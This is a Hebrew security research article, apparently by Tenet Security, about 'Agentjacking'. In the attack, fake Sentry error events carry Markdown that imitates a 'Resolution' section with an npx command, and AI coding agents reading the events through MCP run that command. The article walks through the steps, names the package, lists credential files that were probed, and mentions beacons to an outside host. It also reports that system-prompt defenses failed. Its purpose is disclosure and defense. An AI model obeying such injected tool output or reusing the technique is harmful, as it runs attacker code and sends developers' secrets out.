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Agentjacking השתלטות על סוכני קוד באמצעות :

 דיווחי שגיאה מזויפים
 נבו פורןג וברק שטרנבר מאת

 

 הקדמה

סוג התקפה חדש בשם  , פיתחנו והדגמנוTenet Security-שעשינו ב AIביוני השנה, כחלק ממחקר סביבות 

Agentjacking , שמשתלט על סוכני קוד מבוססיכזה AI של  ומריץ דרכם קוד של התוקף על המכונה

המפתח. כל מה שצריך כדי להפעיל את השרשרת הוא דיווח שגיאה מזויף אחד, וההתקפה נשארת 

, בלי לפרוץ שום Sentryים ציבוריים של -API-מתחת לרדאר של כל מנגנון אבטחה. השתמשנו אך ורק ב

סוכנים פועלים לפי שגיאות  011-ארגונים חשופים. בבדיקות מבוקרות ראינו יותר מ 2,888דבר, ומצאנו 

( ועד מפתחים Fortune 100)ובכללן חברת  Fortune 500שהזרקנו, כולל הרצה מאומתת בארגוני 

 במאמר זה נציג כיצד עשינו זאת. עצמאיים.

 

 RCE-טריה שלכם היא עכשיו וקטור להטלמ
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 תקציר

מראה איך אירוע שגיאה מוזרק אחד, שלא דורש שום אימות מעבר  המחקר שלנו מחקר חדש של צוות

ולגרום להם להריץ  AIלמפתח ציבורי הזמין בקוד המקור של כל אתר, יכול להשתלט על סוכני קוד מבוססי 

 קוד שרירותי על המכונות של המפתחים.

, Sentryארכיטקטוני קריטי בנקודת המפגש בין המנגנון שמקבל את האירועים של  קפה מנצלת פגםההת

, שמחזיר את המידע Sentryשל  MCP-, לבין שרת הDSN-שרירותי מכל מי שמחזיק ב payloadשמקבל 

 כאילו היה פלט מהימן של המערכת. AI-הזה לסוכני ה

, הוא יוצר הוראות שנראות ומרגישות Sentry-אירועי שגיאה בל שבנוי בקפידה תוכן זדוני כשהתוקף מזריק

מפרשים אותן כ"שלבי  Cursor-ו Claude Codeעצמה. סוכני קוד כמו  Sentryבדיוק כמו הנחיות התיקון של 

 שבשליטת התוקף. npmתיקון אבחוניים" לגיטימיים, ומריצים חבילות 

, טוקנים של AWSני סביבה )מפתחות שגיאה מוזרקת אחת פותחת לתוקף גישה למשת התוצאה:

GitHub טוקני הזדהות של ,Sentryל ,)-credentials  שלgit לכתובות של ,repo  פרטי ואף לזהות של

המפתח עצמו, וכל המידע הזה נשלח לשרת של התוקף בלי שאיש מבחין בכך. בלי פישינג, בלי פריצה 

 AI-העבודה הרגילה שלו: לבקש מסוכן ה מוקדמת לשרת, ובלי שום פעולה של המשתמש מעבר לשגרת

 .Sentry-לבדוק שגיאות ב

 

 ?למה זה חשוב

, המחקר הזה מוכיח שהסוכנים עצמם הם עכשיו AIבזמן שארגונים ממהרים להטמיע סוכני קוד מבוססי 

שאותם ארגונים  משטח ההתקפה, מכוונים נגד המפתחים שסומכים עליהם, תוך שימוש אך ורק במידע

עצמם. החידוש הוא לא איזה השמשה מתוחכמת של חולשה, אלא כמה בקלות ובאיזה  מפרסמים על

 runtime-היקף אפשר להשתלט על סוכנים בשטח. המקום היחיד שבו עוד אפשר לתפוס את זה הוא ב

 של הסוכן.

 

 : סוכן עוצמתי עם פגם נסתרAIסוכני קוד מבוססי 

 תפתחו מכלי השלמה אוטומטית פשוטים לסוכניםה Cursor-ו Claude Codeסוכני קוד מודרניים כמו 

  דרך שרתי חכמים שיודעים לקרוא קבצים, להריץ פקודות בטרמינל, לתשאל כלים חיצוניים ולשנות קוד.

MCP  הם מתחברים לשירותים חיצוניים, ביניהםSentry  לניטור שגיאות, ומתייחסים למידע שחוזר כאילו

 היה פלט מהימן של המערכת.



 
 

Agentjacking:  מזויפיםהשתלטות על סוכני קוד באמצעות דיווחי שגיאה 
www.DigitalWhisper.co.il 

 3  2026 נובמבר ,191 גליון
 

על שגיאות פתוחות, הוא מקבל את  Sentryמתשאל את  AIונה באמון המובלע הזה. כשסוכן הסכנה טמ

התשובה ופועל לפיה, בדיוק כפי שמפתח היה עושה. אבל בניגוד למפתח, הסוכן לא יכול לדעת אם אירוע 

י השגיאה נוצר מקריסה אמיתית של האפליקציה או הוזרק בידי תוקף. האמון של הסוכן בתשובות של כל

 פותח נתיב ישיר ממידע מוזרק אל הרצת קוד. MCP-ה

 הפגם

מספיק  .לא יודעים להבחין בין מידע שהם קוראים לבין הוראה שהם אמורים לבצע AI סוכני קוד מבוססי

לשתול פקודה במקום שהסוכן קורא ממנו, אפילו במקום שאף אדם לא היה מחפש בו פקודה כמו לוג 

ריץ אותה. זו מגבלה של המודלים עצמם, לא תקלת הגדרה שאפשר לסגור שגיאות, והסוכן עלול פשוט לה

 .בעדכון גרסה

 

 . כל שלב בה מורשה, ולכן אף מנגנון אבטחה לא רואה אותה[Agentjacking-שרשרת ה - 1 ]תרשים

 

 RCE-האנטומיה של ההתקפה: משגיאה מוזרקת ל

קורבן. היא מתחילה מאירוע שגיאה מבחינת הביותר הרסנית ו מבחינת התוקףמאוד ההתקפה פשוטה 

של  JavaScript-ציבורי, מפתח שמעצם תכנונו יושב בקוד ה DSNעם  Sentry-ל POST-זדוני, שנשלח ב

השמשה של חולשה במובן המקובל. התוקף  מפתחות גנובים, או ,אינספור אתרים בפרודקשן. בלי פריצה

 אף פעם לא נוגע בתשתית של הקורבן.

( לגיטימי בתוך שגיאה רגילה. כשמפתח מבקש מסוכן Resolutionחופשת ל"תיקון" )ההוראה הזדונית מ

, הסוכן קורא את הפקודה של התוקף כהנחיה מהימנה ומריץ אותה, עם Sentry-לתקן את הבעיה ב AI-ה

 ההרשאות של המפתח עצמו ועל המכונה שלו.

 איך התקיפה נראית:

https://youtu.be/QSfdEQ0PE4E 

 פירוט התקיפה:

https://youtu.be/Zq9ReXB2Kmk  

https://youtu.be/QSfdEQ0PE4E
https://youtu.be/Zq9ReXB2Kmk
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 ההתקפה: צעד אחר צעד

עצמה  Sentry-: מפתח ציבורי, לכתיבה בלבד, שSentry-של המטרה ב DSN-מאתרים את ה :1שלב 

-בצד הלקוח. אפשר למצוא אותו בכמה דרכים: לעיין בקוד ה JavaScript-מתעדת ככזה שבטוח להטמיע ב

JavaScript של כל אתר, לחפש ב-Censys  אחרingest.sentry.io  בגוף בקשותHTTP או להריץ חיפוש ,

 .GitHub-קוד ב

. לא Sentryשל  ingest endpoint-של אירוע שגיאה זדוני אל ה POSTיוצרים אירוע רגיל: שולחים  :2שלב 

של האירוע: הודעת השגיאה, התגיות,  payload-. התוקף שולט בכל הDSN-צריך שום אימות מעבר ל

וטביעת האצבע  Stack Traces-, פרטי המשתמש, הbreadcrumbsמפתחות ההקשר, מידע נוסף, 

(fingerprint .של האירוע )Sentry  סטטוס( מקבלת את האירועHTTP 200 ומעבדת אותו בדיוק כמו ) כל

 שגיאה אמיתית של אפליקציה

בשדה ההודעה ובשמות מפתחות  ערוך Markdown: האירוע המוזרק מכיל Markdownמזריקים  :3שלב 

עובר רינדור לתוכן  Markdown-, הAI-מחזיר את האירוע לסוכן ה Sentryשל  MCP-ההקשר. כששרת ה

עצמה. התוכן המוזרק  Sentryשל  מובנה: כותרות, בלוקי קוד וטבלאות שנראים זהים לתבנית המערכת

 .npx" עם פקודת Resolution## כולל סעיף מזויף בשם "

" )או כל Sentry-מבצעים מניפולציה על הסוכן: כשמפתח מבקש מהסוכן "לתקן שגיאות פתוחות ב :4שלב 

ומקבל את האירוע המוזרק. הוא מוסט מבדיקת קוד  MCPדרך  Sentryבקשה דומה(, הסוכן מתשאל את 

 המקור, אל עבר הרצת כלי האבחון ה"מומלץ", ולא מסוגל להבדיל בינו לבין הנחיה לגיטימית.

 הסוכן מריץ את הפקודה הבאה:  -מריצים קוד: 5שלב 

npx @tenet-controlled-validation-package- -diagnose 

כוללת הודעה  ורצה עם מלוא ההרשאות של המפתח. היא npmהציבורי של  registry-החבילה יורדת מה

"  "X-Tenet-Securityבשם header-, עם הTenet Securityשמבהירה שמדובר בבדיקה מבוקרת של 

. com.tracker-advisoryלכתובת  beacon, ושולחת "SCAN] SECURITY[ ResponsibleDisclosure" שערכו

 .beacon-ורפת לגם הודעת גילוי אחראי מצ

 :הסביבה קיימים, בודקת את גדלי הקבצים החבילה מוודאת שמשתני :6שלב 

~/aws/.config 
~/.npmrc  
~/docker/.config.json  

-עוקבות לשרת ה POST(. אימות של נתוני החשיפה נשלח בשתי בקשות VPNואת ממשקי הרשת )לזיהוי 

beacon  שלTenetעל מה שנמצא אצלו, כחלק מגילוי אחראי רגון חשוף, ובמקביל אנחנו מיידעים כל א. 

כל נתוני הבדיקה נמחקו והוסרו, כדי לעמוד בשיטות העבודה  :שום מידע מעולם לא נשמר או אוחסן

 .Sentryהמומלצות ולוודא שהארגונים מאבטחים את עצמם בהתאם, יחד עם צוות האבטחה של 

  

http://advisory-tracker.com/
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 אחת, אחר כך עשר, ואז ענקית

את הסוכן הראשון מריץ את הקוד שלנו. ראינו אותו יוצר קשר עם שרת התוקף. ואז זה בבדיקות ראינו 

שלהם  AI-ברחבי העולם. סוכני ה 011-המשיך לקרות: עשר חברות, אחר כך עשרות, אחר כך יותר מ

 הריצו את קוד הבדיקה שלנו, ואף אחד מהם לא ידע ששום דבר לא כשורה.

מיליארד דולר, אחת  251בשווי  Fortune 100-תח בחברת טכנולוגיה מואז גילינו למי שייך אחד מהם: מפ

שלה קרא את דיווח הבאג המזויף שלנו והריץ את הקוד  AI-מחברות הטכנולוגיה הגדולות בעולם. סוכן ה

 שלנו, בדיוק כמו כל השאר.

לר ועד וזה לא נעצר בענק אחד. הארגונים שהגענו אליהם נעו מאותה חברה בשווי רבע טריליון דו

מפתחים בודדים שעובדים לבד, בתחומי הפיננסים, הבריאות, הממשל, החינוך ותשתיות קריטיות, ביותר 

 מדינות. אפילו חברת אבטחת ענן אחת הייתה ביניהם. 81-מ

 

 הארגונים המאומתים והחשופים משתרעים על פני שש יבשות. כל סימון הוא ארגון נפרד שאליו הגיע המחקר[- 2: ]תרשים 

 

 עליהם גישה חדשה: תקיפה דרך כלי המפתחים ולוגים של טלמטריה שסומכים

 AI-מה שהופך את ההתקפה הזו לייחודית הוא שהיא לא מכוונת למפתח ישירות, אלא לסוכן ה

 שהמפתחים סומכים עליו. כמה דברים הופכים אותה למסוכנת במיוחד:

 קיפה מתרחשת בזמן שגרת העבודה הת עם המפתח. יוצר קשרפעם לא  שינג: התוקף אףבלי פי

 .Sentry-, לבקש מהסוכן לבדוק שגיאות בהרגילה שלו

 מפתח ציבורי כנקודת כניסה: ה-DSN  שלSentry ציבורי בכוונה ומוטמע ב-JavaScript  .של צד הלקוח

, הופכת להרסנית ברגע שאירועים AI-החלטת התכנון הזו, שהייתה בטוחה בעולם שלפני סוכני ה

 כפלט מהימן. AIחוזרים לסוכני מוזרקים 
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 הזרקת האי אפשר להבדיל בין תוכן התוקף לבין הנחיה לגיטימית :-Markdown  יוצרת תוכן זהה

. אין שום סימן חזותי או מבני שמבדיל בין תוכן MCP-ב Sentryבמבנה שלו לתבנית המערכת של 

 .Sentryהתוקף להנחיה אמיתית של 

 מתרחב בקלות: ברגע ש-payload וכן, אפשר להזריק אותו לאלפי פרויקטים של מSentry  .בבת אחת

 .ארגונים במחקר מבוקר 011-על פני יותר מהדגמנו את זה 

 ?רגיל Prompt Injection-במה זה שונה מ

הזרקת פרומפט, כמו שרובנו מדמיינים אותה, מתרחשת בתיבת הצ'אט, מול המשתמש, בזמן שהוא 

 עובד. זה משהו אחר:

 כנתוני שגיאה שגרתיים, דרך שירות טלמטריה  שסומכים עליהם: נתוני טלמטריה ךזה מגיע דר

 שהחברה כבר סומכת עליו.

  איןjailbreak  בקשת בדיקה פשוטה היא כל מה שצריך. המפתח אף פעם לא  :"תריץ את זה"ואין

 מאשר שום קוד.

 הזרקה  גנים.כל שלב מורשה, ולכן אף שכבת אבטחה לא מתריעה, אפילו בארגונים הכי מו

 קלאסית בדרך כלל מפעילה איזו אנומליה איפשהו; כאן לא נשבר שום כלל שאפשר לתפוס.

 :שירות  זה מגיע לסוכנים בתוך סביבות ורשתות פנימיות, כי הוא רוכב על מידע משירות חיצוני

 פנימית. ל מכונההרצת קוד ע←  קליטה מהימנה←  חיצוני

 ניסינו, והסוכנים  נון "אל תסמוך על מה שאתה קורא":אי אפשר לסגור את זה עם הוראה בסג

 הריצו את הקוד בכל זאת.

 

 ביוני( 17הוכחה: אימות מבוקר בעולם האמיתי )עודכן: 

 סוכני הקוד של חברת  השתלטות עלFortune 100 מיליארד דולר שהסוכן שלו הריץ  251: ארגון בשווי

 אחרים. 011-את הקוד שלנו בבדיקה, לצד יותר מ

 משפחות של סוכני  4-יותר מתלטות על השAI, אפילו ב-sandbox בענן, בקונטיינרים של ,GCE וב-

WSL :שום דבר לא הציל אותן. כל אחת החזיקה מפתחות כלשהם ,AWS,  GitHub OAuth שמות ,

host פנימיים בענן ו-credentials  של שירותים, כולם בהישג יד מנקודת אחיזה אחת, מתחת לרדאר

 האבטחה הקיימים. של כלי

  ,ווידא כדי להוכיח שזה לא תיאורטי, הצוות שלנו אימת את ההתקפה מקצה לקצה בתנאים מבוקרים

 שההתקפה ניתנת לביצוע מול מטרות בעולם האמיתי.

 2,888  ארגונים נמצאו חשופים עםDSN- ים תקפים שאפשר להזריק אליהם, דרך איסוף מידע פסיבי

 .Tranco Top-1M-מהם מדורגים ב 70 (. CDN loaderקוד, חילוץ מתוך , חיפוש Censys-)אינדוקס ב
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 סוכני קוד פעלו לפי השגיאות המוזרקות, כולל 011-על פני כמה גלי אימות מבוקרים, יותר מClaude 

Code , Cursor ו-Codex מול שגיאות מוזרקות, על פני הסוכנים הנפוצים  85%, עם שיעור הצלחה של

 ביותר בשוק.

  מקרים מאומתים של הרצת קוד בידי סוכנים על פני ארגונים רבים, מתועדים במלואם,  011-מיותר

מיליארד  2בשווי מעל  hostingשירותי מיליארד דולר(, ספק  211)מעל  Fortune 500כולל ארגון 

 דולר, חברת מחשוב מדעי, סטארטאפ אינטרנטי, וצוותי פיתוח נוספים.

 2,220 לא נכללו בבדיקות שלנו. אותם תנאים בדיוק קיימים באלפי  מהארגונים החשופים כלל

 פרויקטים נוספים, וכולם נגישים במשאבים מינימליים.

 הבקשות שנשלחו לראיהלוגים מלאים של ה ,-ingest endpoints ב-Sentry וטלמטריה עם חותמות ,

)משתני סביבה,  זמן שמוכיחה גישה, כל אלה מאששים את קיומם ואת הזמינות של חומרים רגישים

(, ומתעדים שהם Repo Git, כתובות GitHub OAuth, טוקני Kubernetes, טוקנים של AWSמפתחות 

 היו נוכחים וחשופים.

 

 ראיות מצונזרות: נתפס בשטח

 Warp CLIוסוכן  sandbox-ב Cursor: סוכן 1ראיה 

ראיה מציגה את בלוק פרטי בחזרה. ה beaconושלח  payload-( הריץ את הWarp)בטרמינל  Cursorסוכן 

שלנו. כתובת ממשק הרשת  payload-שדרכו הועבר ה Sentryשל  ingest-ממשק הרשת ואת נתיב ה

 ומזהה הפרויקט מצונזרים.

 

 ]בחזרה beaconושולח  payload-מריץ את ה Cursor (Warp): סוכן 0 ראיה]

 

 Windowsעל מכונת  WSLבתוך  AI: סוכני 2ראיה 

מנוהלות היו נגישים. שרת Windows  ( על מכונות WSL )21.14Ubuntu שרצים בתוך הוכחה שסוכנים 

נמצאו בסביבה. שרת ההתחברות ושם  SSH Agentשל  socket-וה Windows( של logonההתחברות )
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מוצג; הוא עצמו אינו סוד, אבל עצם  SSH agentשל  socket-מצונזרים. נתיב ה Windows-המשתמש ב

 של המפתח. SSH-שהסוכן יכול היה להגיע לזהות הנוכחותו אומרת 

 

 מנוהלת[ Windowsעל מכונת  WSL: סוכן שרץ בתוך 2 ראיה]

 )עם גישה לסוכנים ולמפתחות אחרים( macOSעל Claude Code  :3ראיה 

פעיל היה נוכח בסביבה של  AWS secret access keyזו הראיה שמראה את ההיקף האמיתי. מפתח 

נזרנו את הערך עצמו והשארנו רק את שם המשתנה, כעדות לכך שהמפתח היה שם, בלי הסוכן עצמו. צ

והחזיקה מזהים של סוכנים מחוברים  Claude Codeלחשוף אותו. אותו מחשב הריץ כמה מופעים של סוכן 

נוספים. התוויות ומחרוזות גרסת הסוכן נשמרו. "מחובר לסוכנים אחרים" כאן אומר שרדיוס הנזק משתרע 

רבה מעבר למכונה הזו: הסביבה החזיקה מפתחות לסוכנים ולשירותים אחרים, ולא שסוכן אחד הדביק ה

 אחר.

 

 [פעיל בסביבה AWS secret access key, עם מפתח macOSעל Claude Code  :8]ראיה 
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 CI/CD-ב -sandboxב OpenAI Codexסוכן  :4ראיה 

 . אפשר לראות שהוגדר לוEC2על קונטיינר  CircleCI  סמבוס pipeline CI-רץ ב, שOpenAI Codexסוכן 

רשת היה  ומוגבל -sandboxב CI. אפילו סוכן CODEX_SANDBOX_NETWORK_DISABLED :המשתנה

 אינו רגיש והושאר גלוי. AWS-הRegion ושמות הקונטיינרים מצונזרים.  EC2הפנימי של  host-נגיש. שם ה

 

 [EC2על  CircleCIשל  pipeline-, בsandbox-ב OpenAI Codexסוכן  :4]ראיה 

 

 VS Codeשרץ כתוסף של  OpenAI: סוכן 5ראיה 

עצמאיים, הריצו את הקוד המוזרק: כאן תוסף  CLI, לא רק ככלי IDEוכחה שגם סוכנים שמוטמעים כתוספי 

OpenAI ChatGPT/Codex ל-VS Code  עלmacOS. 

 

 macOSעל  VS Codeכתוסף  OpenAIסוכן  :5]ראיה 

 (VPNמאחורי )נגישים לרשת הפנימית  AI: סוכני 6ראיה 

אמיתיים לא מופיעים כאן. הסוכן  hostכל ערך למטה מצונזר ברמת הפיקסל. שום מפתח, זהות או שם 

 נמצאים בהישג יד. clusterשידר מטא דאטה שמראה שמפתחות פעילים של ענן ושל 
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 ])שתי ראיות( VPNי סוכנים נגישים לרשת פנימית מאחור :6ראיה [

 ?מה זה מוכיח

 משפחות של סוכני  4-יותר מ :מגוון רחבAI על פני ,macOS,  WSL,  Windows ,קונטיינרים , CI  וענן

(GCP ו-AWSמערכות הפעלה ו .)-runtimes .שונים, לא מקרה אחד ומזל 

  מפתחות  ראינורדיוס הנזק: בסביבות שאליהן הגענוAWS  פעילים, טוקניGitHub OAuth ,socket- ים

 . נקודת אחיזה אחת פותחת גישה להרבה יותר ממחשב אחדועוד SSH agentשל 

  :עדכניותClaude Code 2-1-161  ,גרסה עכשווית שנמצאת בהפצה, לא 2126ביוני  2-ב תועדהעדכני ,

 תוצאה ישנה מהמעבדה.

 "sandbox"  לא הציל אותם: סוכניCI  ,כי המוגבלי רשת היו נגישים בכל זאת-payload  נכנס דרך

, אחרת הם לא היו GitHubמידע שהסוכן התבקש לקרוא. היו להם מפתחות רבים, למשל טוקני 

 מלכתחילה. CI-שימושיים ל

 מדגם חברות שבוצעה בהן השתלטות על סוכן )מצונזר(

 מה הוכח כנגיש גודל מגזר

 251חברת אם בשווי ~ (Fortune 500תוכנה ארגונית וענן )

 ד דולרמיליאר

Claude Code  על שני מכשיריWindows  ארגוניים; אושש

 ועוד gitקיומם של טוקני תשתית ענן, טוקני 

-ארגוני; אושש קיומם של מפתחות לענן, ל VPNפרטי,  Repo מיליון דולר 21~ מדעי / תוכנה

GitHub ול-Artifactory 

-ו NPM,  Gitשל  Credentialsי, פרטי, אימייל ארגונ Repo מיליארד דולר Hosting ~2שירותי 

GitHub 

 ארגוני gitשל  credentials פרטית ניהול נתוני נדל"ן

 עם גישה לסביבת פרודקשן CI/CDמכשיר ארגוני אחד,  שלב מוקדם Web Application-סטארטאפ ו

 git IDEמכונת פיתוח:  סטארטאפ חברת שיווק דיגיטלי

EdTech / HealthTech / FinTech סביבות פיתוח בצד השרת + קובץ  טאפיםסטארCredentials שאושש כקיים 

מיליארד דולר ועד מפתחים בודדים עצמאיים, ואפילו ספק  251~הטווח נע מענקית טכנולוגי בשווי 

  אבטחת ענן היה בין החשופים. שום גודל, מגזר או תקציב אבטחה לא ניבא הגנה.
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 הטכניקה, בקצרה

טקסט שמצורף בתוך דיווח באג, בנוי כך שייראה בדיוק כמו "תיקון מוצע" הוא סך הכול  payload-ה

לגיטימי. מכיוון שהוא מחקה את הפורמט של פלט הכלי האמיתי שהסוכן ממילא מטפל בו בזרימה הזו, 

זה נקרא כמו "תיקון"  ,הסוכן לא מסוגל להפריד בין ההוראה למידע. אין פה שום קידוד מיוחד או הסתרה

 ח "הנה איך לתקן את זה".רגיל בנוס

 

 ]דיווח הבאג שיצרנו, בנוי כך שייראה כמו תיקון רגיל. הסוכן מוטעה בקלות[
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 AI-עידן חדש של איום: למה זה משנה את אבטחת סוכני ה

במשך  היא מסמנת שינוי מהותי במשטח ההתקפה של פיתוח תוכנה. ,התגלית הזו היא יותר מעוד פגיעות

( או SolarWinds , CodeCovאספקה התמקדו בהשתלטות על חבילות אמיתיות )שנים, התקפות שרשרת 

, תוקפים כבר לא צריכים להשתלט AI . אבל עם סוכני קוד מבוססיTyposquattingבהטעיית מפתחים דרך 

-סומך עליו. פלטפורמת ה AI-הם רק צריכים להזריק מידע שסוכן ה .על חבילה או להטעות בן אדם

Observability ה( ופכת לערוץ שליטה ובקרהC2וסוכן ה ,)-AI .הופך למנוע ההרצה 

, CI/CD-ב pipeline-של ה credentialsבסביבה ארגונית, שגיאה מוזרקת אחת יכולה לאפשר לתוקף לגנוב 

פרטיים של הקוד, לפגוע בתשתית הענן ולבסס גישה מתמשכת, הכול בלי שום  repos-לגשת ל

 הותקף.אינטראקציה ישירה עם המפתח ש

מידע שמושפע מגורם חיצוני  AIשמחזירה לסוכני  MCP-. כל אינטגרציית כלי בSentry-הסיכון לא מוגבל ל

מתרחב ויותר כלים מתחברים דרך  AI-יוצרת בדיוק את אותו סוג פגיעות. ככל שהאקוסיסטם של סוכני ה

MCP.משטח ההתקפה ממשיך לגדול במהירות , 

 

 א באג של ספק אחדשיטתי, בלתי נראה לזיהוי, ול

 בוססיסוכני הקוד מ ,זה עבד על כל סוכן שנבדק AI  הנפוצים ביותר בשוק, כי החולשה היא באופן שבו

היא נקודת  Sentryשל  MCP-סוכנים מטפלים בפלט של כלים, לא פגם במוצר בודד. אינטגרציית ה

 הכניסה שהודגמה, אבל הבעיה הבסיסית משותפת לכל האקוסיסטם.

 בת הפרומפט נכשלו. הסוכנים הריצו את ההגנות בשכ-payload גם כשהונחו במפורש, דרךSystem 

Prompts ו-Skills  מפורטים, להתעלם ממידע שאי אפשר לסמוך עליו. אי אפשר לסגור את זה עם

 פרומפט טוב יותר.

  ההתקפה עוקפתEDR,  WAF,  IAM,  VPN Cloudflare ת. כל וחומות אש, כי אין שום דבר זדוני לזהו

 Authorizedאנחנו קוראים לזה "שרשרת הכוונות המורשית" ) Tenet-פעולה בשרשרת מורשית. ב

Intent Chain מודל האבטחה המקובל בנוי לתפוס התנהגות לא מורשית, ובהתקפה הזו אין כזו :)

 בכלל.
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 ?איך עשינו את זה באחריות

 השתמשנו רק ב-API-ציבוריים של  םיSentryא נפרצה, שום אימות לא עוקף, ושום . שום מערכת ל

 מתכוונת שיהיה ציבורי. Sentry-עצמה; נקודת הכניסה היא מפתח ש Sentry-פגיעות לא נוצלה ב

  כלpayload  זיהה את עצמו כסריקת אבטחה שלTenet עם ,header ייעודי: 

"x-tenet-security: ResponsibleDisclosure [SECURITY SCAN]" 

 ו-User-Agent ם, הוכחה שמעולם לא התכוונו להשתלט על שום סוכן או להפוך אותו לכלי תמי

 תקיפה, אלא רק להדגים את החשיפה.

 ו צונזרו נאספושום מערכת לא הועמדה בסיכון מתמשך. החומרים ש ,לנוזקה שום דבר לא הפך

נו רק ראו רק פלט אבחוני תמים. את האימות מול מטרות בעולם האמיתי ביצע והטרמינלים ,במקור

 במידה המינימלית שנדרשה כדי לוודא את יכולת הניצול.

  מצד ההגנה, שחררנו כקוד פתוח אתjackstop-agent אוסף הגדרות שמקשיחות את :Cursor  ואת

Claude Code שבטלמטריה ולוגים שאי אפשר לסמוך  מול סוג ההתקפה הזה, ומצמצמות את הסיכון

 עליהם. 
 

 Sentryתגובת 

היא  :הגיבה עוד באותו יום Sentry, ברגע שהשרשרת אוששה. הנהלת 2126ביוני  8-ב Sentry-דיווחנו ל

הכירה בבעיה אבל סירבה לתקן אותה בשורש, כינתה אותה "בלתי ניתנת להגנה מבחינה טכנית" 

(technically not defensible) וציינה שספקי המודלים מריצים מולה ,middleware במהלך תקופת .

ספציפי, כלומר זיהתה את הפעילות  payload stringהפעילה מסנן תוכן גלובלי שחסם  Sentryהמחקר, 

 בלי לטפל בשורש.

 

: אם בעל הפלטפורמה עצמו רואה בסוג ההתקפה הזה משהו "בלתי ניתן להגנה Tenetהעמדה של 

של הסוכן, ברגע שבו הוא  runtime-נית" במקור, המקום היחיד שנשאר לעצור אותו בו הוא המבחינה טכ

 מחליט לפעול.

https://github.com/tenet-security/agent-jackstop
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 AI-לאבטח את האקוסיסטם של סוכני ה - סיכום

משנים את פיתוח התוכנה, האמון  AI-מראים שבזמן שסוכני קוד מבוססי Tenet Securityהממצאים של 

שמחובר  AI צר משטח התקפה חדש וקריטי. הנוחות של סוכןיו MCPהמובלע שלהם בתשובות של כלי 

 שלכם באה עם הסיכון שאותו סוכן יופנה נגדכם. Observability-לפלטפורמת ה

הן החזית הבאה של התקפות שרשרת אספקה  MCPמנהלי אבטחה חייבים להפנים שאינטגרציות 

רים, האם הכלים האלה מחזירים מידע שלכם מתחב AI-בתוכנה. כדאי להתחיל לבדוק: לאילו כלים סוכני ה

שאי אפשר לסמוך עליו, ואילו בקרות קיימות כדי למנוע ממידע מוזרק להפעיל הרצת קוד. עידן הזרקת 

 הפרומפט העקיפה דרך כלי המפתחים כבר כאן.

 

 ואגב...

 ? חוקרים או מפתחים מבריקים? אנחנו מגייסים ונשמחTenet-רוצים לקחת חלק בדבר הגדול הבא ב

 ם במייל:לשמוע מכ

shahar@tenetsecurity.ai 
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